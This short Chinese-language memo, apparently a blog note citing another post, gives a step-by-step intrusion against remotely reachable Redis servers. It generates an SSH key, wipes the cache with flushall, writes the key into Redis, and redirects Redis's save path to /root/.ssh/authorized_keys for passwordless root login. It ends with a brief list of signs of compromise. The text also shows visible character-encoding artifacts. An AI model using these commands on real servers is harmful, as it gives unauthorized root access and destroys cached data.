參考http://www.aneasystone.com/archives/2015/11/redis-crackit.html
當(dāng)服務(wù)器上的Redis設(shè)置允許用戶遠程訪問時就存在了風(fēng)險,當(dāng)外來者破解了你的Redis密碼后就可以通過Redis免密碼登錄遠程服務(wù)器
- 遠程登錄redis命令:
redis-cli -h ip -a password
入侵
1.入侵前準備
- 本地生成公鑰ssh-key:
$ ssh-keygen -t rsa - 加換行生成文件foo
(echo -e "\n\n"; cat id_rsa.pub; echo -e"\n\n") > foo
2.清空redis緩存
flushall
3.將公鑰寫入redis
$ cat foo | redis-cli -h ip -a password -x set crackit
4.登錄redis
$ redis-cli -h ip -a password
ip:port> config set dir /root/.ssh/ 固定位置(redis沒有創(chuàng)建文件夾的權(quán)限)
ip:port> config get dir 查看位置
ip:port> config set dbfilename authorized_keys 把文件存進指定文件
ip:port> save
如何判斷是否中槍
- 緩存被莫名清空
- 緩存中多了一個 crackit (或其他類似的)鍵
- 使用 redis 的 config get dir 命令檢查是否指向了 /root/.ssh
- /.ssh/authorized_keys 文件有被篡改的痕跡
- 服務(wù)器上運行著不明進程